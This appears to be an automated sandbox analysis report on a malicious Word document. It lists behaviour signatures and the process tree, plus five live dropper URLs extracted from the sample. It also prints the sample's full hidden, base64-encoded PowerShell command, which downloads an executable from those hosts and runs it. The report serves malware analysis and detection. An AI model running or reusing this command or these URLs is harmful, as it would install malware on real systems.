Analysis
- max time kernel
134s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/11/2024, 17:06
General
- Target b5253c306601f1babeec5ff0d2c9cb90811d8bd7efb465fc7e0bcb2d47aa4bc3.doc
- Size 181KB
- Sample241113-vmkl1awbrc
- SHA256 b5253c306601f1babeec5ff0d2c9cb90811d8bd7efb465fc7e0bcb2d47aa4bc3
Malware Config
Extracted
-
ps1
-
exe.dropper
http://peikeshargh.com/wp-admin/HXU15i/
-
exe.dropper
http://cooklawyerllc.com/DB/XygG68105/
-
exe.dropper
https://www.meditationmusic.shop/musicshop/MYatxrUp/
-
exe.dropper
http://magic-in-china.com/wovltk23ld/f9aH1153/
-
exe.dropper
http://www.ikedi.info/wp-content/x4f7893/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b5253c306601f1babeec5ff0d2c9cb90811d8bd7efb465fc7e0bcb2d47aa4bc3.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABZAHQAbgBwAHAAbwBjAHoAPQAnAEwAegBnAGwAbwBvAHoAdwBjACcAOwAkAFgAegB0AGMAdQBtAHoAdgBhACAAPQAgACcANwA3ADMAJwA7ACQASwB6AGQAawB4AGcAagBxAHMAPQAnAEEAZwBmAHEAYwBiAGgAZABmACcAOwAkAEUAegBlAHMAcQB3AGcAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWAB6AHQAYwB1AG0AegB2AGEAKwAnAC4AZQB4AGUAJwA7ACQATAB6AG4AcQBnAHgAegB5AHkAagBuAHEAagA9ACcARQByAHcAcQBiAG0AZwB1AGYAZgAnADsAJABSAGkAegBkAHMAcQBpAGsAdAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBFAHQALgBXAGUAQgBjAGwASQBlAE4AVAA7ACQARQB1AGkAdAByAGoAaABxAG8AcwByAD0AJwBoAHQAdABwADoALwAvAHAAZQBpAGsAZQBzAGgAYQByAGcAaAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ASABYAFUAMQA1AGkALwAqAGgAdAB0AHAAOgAvAC8AYwBvAG8AawBsAGEAdwB5AGUAcgBsAGwAYwAuAGMAbwBtAC8ARABCAC8AWAB5AGcARwA2ADgAMQAwADUALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AZQBkAGkAdABhAHQAaQBvAG4AbQB1AHMAaQBjAC4AcwBoAG8AcAAvAG0AdQBzAGkAYwBzAGgAbwBwAC8ATQBZAGEAdAB4AHIAVQBwAC8AKgBoAHQAdABwADoALwAvAG0AYQBnAGkAYwAtAGkAbgAtAGMAaABpAG4AYQAuAGMAbwBtAC8AdwBvAHYAbAB0AGsAMgAzAGwAZAAvAGYAOQBhAEgAMQAxADUAMwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGkAawBlAGQAaQAuAGkAbgBmAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeAA0AGYANwA4ADkAMwAvACcALgAiAHMAcABsAGAASQB0ACIAKAAnACoAJwApADsAJABYAHYAdQBxAGgAcABsAG4AZAB4AGcAYQBsAD0AJwBHAHcAbQBxAHcAYgBwAHcAcQBoAG8AcQAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQByAHMAbwB3AGQAZQB6AGIAdgBxAG8AZgAgAGkAbgAgACQARQB1AGkAdAByAGoAaABxAG8AcwByACkAewB0AHIAeQB7ACQAUgBpAHoAZABzAHEAaQBrAHQALgAiAEQAYABPAFcAYABOAEwAYABvAGEAZABmAGkAbABFACIAKAAkAEEAcgBzAG8AdwBkAGUAegBiAHYAcQBvAGYALAAgACQARQB6AGUAcwBxAHcAZwBmACkAOwAkAEYAaABsAHgAegBjAGQAZQBzAD0AJwBZAGIAaQBnAGsAdgBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHoAZQBzAHEAdwBnAGYAKQAuACIAbABgAEUAbgBHAHQASAAiACAALQBnAGUAIAAzADMAOAAzADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQARQB6AGUAcwBxAHcAZwBmACkAOwAkAFQAbwBtAHcAaAB5AGUAagBzAHoAeQBpAHkAPQAnAEQAbQBvAHEAYgBkAGcAcAB5AHoAaABwACcAOwBiAHIAZQBhAGsAOwAkAEoAZwB1AGUAaQBvAHcAawBjAHUAPQAnAEoAbgBiAHoAcwBrAHEAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABWAGIAeQB0AG4AeQBuAHcAYQBpAHgAeAA9ACcARABlAHAAYgB5AHMAawB1AG0AYgB1AHMAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
F93ADC38.wmf
iso690.xsl
__PSScriptPolicyTest_iywmbcym.m5i.ps1
fb3b0dbfee58fac8.customDestinations-ms
memory/4076-55-0x00000197E9E80000-0x00000197E9EA2000-memory.dmp
memory/5008-11-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-7-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-0-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/5008-13-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-12-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-15-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-16-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-14-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-10-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-9-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-8-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-5-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/5008-17-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp
memory/5008-18-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp
memory/5008-6-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-2-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/5008-4-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/5008-64-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-65-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp
memory/5008-66-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-67-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/5008-3-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/5008-1-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp